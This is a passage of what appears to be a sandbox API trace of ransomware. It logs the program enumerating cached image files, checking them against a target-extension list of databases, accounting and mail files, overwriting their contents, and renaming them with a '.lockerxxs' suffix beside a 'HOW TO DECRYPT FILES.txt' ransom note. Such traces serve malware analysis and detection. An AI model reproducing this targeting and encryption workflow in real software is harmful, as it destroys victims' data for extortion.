files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.334] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2ecb [0084.334] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x458308d0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x458308d0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x458308d0, dwHighDateTime=0x1d2faf3)) returned 1 [0084.334] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.334] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2ea5, lpOverlapped=0x0) returned 1 [0084.336] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg") returned="BBE7KPZ[1].jpg" [0084.337] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.337] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2ea5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2ea5, lpOverlapped=0x0) returned 1 [0084.337] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.337] CloseHandle (hObject=0xa4) returned 1 [0084.337] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg.lockerxxs")) returned 1 [0084.338] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a6bd70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a6bd70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45a6bd70, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x9c5, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBE8IlA[1].jpg", cAlternateFileName="BBE8IL~1.JPG")) returned 1 [0084.338] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.338] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBE8IlA[1].jpg") returned 1 [0084.338] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBE8IlA[1].jpg") returned 1 [0084.338] lstrcmpiA (lpString1="", lpString2="BBE8IlA[1].jpg") returned -1 [0084.338] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg") returned="BBE7KPZ[1].jpg" [0084.338] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.338] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.338] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.339] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.339] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBE8IlA[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.ems") returned 0 [0084.339] lstrlenA (lpString="*.ems") returned 5 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.db") returned 0 [0084.339] lstrlenA (lpString="*.db") returned 4 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.dbf") returned 0 [0084.339] lstrlenA (lpString="*.dbf") returned 5 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.myox") returned 0 [0084.339] lstrlenA (lpString="*.myox") returned 6 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.myo") returned 0 [0084.339] lstrlenA (lpString="*.myo") returned 5 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.qbw") returned 0 [0084.339] lstrlenA (lpString="*.qbw") returned 5 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.qbb") returned 0 [0084.339] lstrlenA (lpString="*.qbb") returned 5 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.qbm") returned 0 [0084.339] lstrlenA (lpString="*.qbm") returned 5 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.qbo") returned 0 [0084.339] lstrlenA (lpString="*.qbo") returned 5 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.qbx") returned 0 [0084.339] lstrlenA (lpString="*.qbx") returned 5 [0084.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.qba") returned 0 [0084.340] lstrlenA (lpString="*.qba") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.qby") returned 0 [0084.340] lstrlenA (lpString="*.qby") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.qbj") returned 0 [0084.340] lstrlenA (lpString="*.qbj") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.ofx") returned 0 [0084.340] lstrlenA (lpString="*.ofx") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.qif") returned 0 [0084.340] lstrlenA (lpString="*.qif") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.mye") returned 0 [0084.340] lstrlenA (lpString="*.mye") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.mbox") returned 0 [0084.340] lstrlenA (lpString="*.mbox") returned 6 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.eml") returned 0 [0084.340] lstrlenA (lpString="*.eml") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.pst") returned 0 [0084.340] lstrlenA (lpString="*.pst") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.ost") returned 0 [0084.340] lstrlenA (lpString="*.ost") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.idx") returned 0 [0084.340] lstrlenA (lpString="*.idx") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.dbx") returned 0 [0084.340] lstrlenA (lpString="*.dbx") returned 5 [0084.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.sql") returned 0 [0084.340] lstrlenA (lpString="*.sql") returned 5 [0084.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.mdb") returned 0 [0084.341] lstrlenA (lpString="*.mdb") returned 5 [0084.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.fdb") returned 0 [0084.341] lstrlenA (lpString="*.fdb") returned 5 [0084.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.wab") returned 0 [0084.341] lstrlenA (lpString="*.wab") returned 5 [0084.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.dat") returned 0 [0084.341] lstrlenA (lpString="*.dat") returned 5 [0084.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.txt") returned 0 [0084.341] lstrlenA (lpString="*.txt") returned 5 [0084.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.jpeg") returned 0 [0084.341] lstrlenA (lpString="*.jpeg") returned 6 [0084.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", pszSpec="*.jpg") returned 1 [0084.341] lstrlenA (lpString="*.jpg") returned 5 [0084.341] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" [0084.341] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" [0084.341] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg." [0084.341] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg.lockerxxs" [0084.341] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.342] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9c5 [0084.342] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45a6bd70, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45a6bd70, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45a6bd70, dwHighDateTime=0x1d2faf3)) returned 1 [0084.342] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.342] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x99f, lpOverlapped=0x0) returned 1 [0084.345] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg") returned="BBE8IlA[1].jpg" [0084.345] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.345] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x99f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x99f, lpOverlapped=0x0) returned 1 [0084.345] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.346] CloseHandle (hObject=0xa4) returned 1 [0084.346] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg.lockerxxs")) returned 1 [0084.347] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b9c870, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b9c870, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b9c870, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2669, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBE972F[1].jpg", cAlternateFileName="BBE972~1.JPG")) returned 1 [0084.347] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.347] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBE972F[1].jpg") returned 1 [0084.347] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBE972F[1].jpg") returned 1 [0084.347] lstrcmpiA (lpString1="", lpString2="BBE972F[1].jpg") returned -1 [0084.347] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg") returned="BBE8IlA[1].jpg" [0084.347] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.347] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.347] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.347] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.347] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBE972F[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" [0084.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.ems") returned 0 [0084.347] lstrlenA (lpString="*.ems") returned 5 [0084.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.db") returned 0 [0084.347] lstrlenA (lpString="*.db") returned 4 [0084.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.dbf") returned 0 [0084.348] lstrlenA (lpString="*.dbf") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.myox") returned 0 [0084.348] lstrlenA (lpString="*.myox") returned 6 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.myo") returned 0 [0084.348] lstrlenA (lpString="*.myo") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.qbw") returned 0 [0084.348] lstrlenA (lpString="*.qbw") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.qbb") returned 0 [0084.348] lstrlenA (lpString="*.qbb") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.qbm") returned 0 [0084.348] 